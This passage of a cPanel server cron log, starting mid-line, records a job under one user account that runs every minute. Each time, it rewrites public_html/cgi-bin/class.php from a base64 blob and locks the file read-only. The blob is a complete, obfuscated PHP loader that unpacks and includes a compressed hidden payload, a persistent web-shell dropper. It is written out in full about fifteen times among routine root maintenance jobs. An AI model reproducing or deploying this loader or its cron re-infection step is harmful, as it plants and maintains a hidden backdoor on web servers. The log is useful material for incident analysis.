7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:28:01 server CROND[7818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:29:01 server CROND[7888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:30:01 server CROND[8069]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 00:30:01 server CROND[8072]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr 10 00:30:01 server CROND[8071]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 00:30:01 server CROND[8074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:30:01 server CROND[8073]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 00:31:01 server CROND[8206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:32:01 server CROND[8276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:33:01 server CROND[8353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:34:01 server CROND[8434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:35:01 server CROND[8606]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 00:35:01 server CROND[8607]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 00:35:01 server CROND[8608]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 00:35:01 server CROND[8610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:35:01 server CROND[8612]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 10 00:36:01 server CROND[8735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:37:01 server CROND[8805]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:38:01 server CROND[8877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:39:01 server CROND[8946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:39:01 server CROND[8947]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 00:40:01 server CROND[9018]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 00:40:01 server CROND[9019]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 00:40:01 server CROND[9020]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 00:40:01 server CROND[9021]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
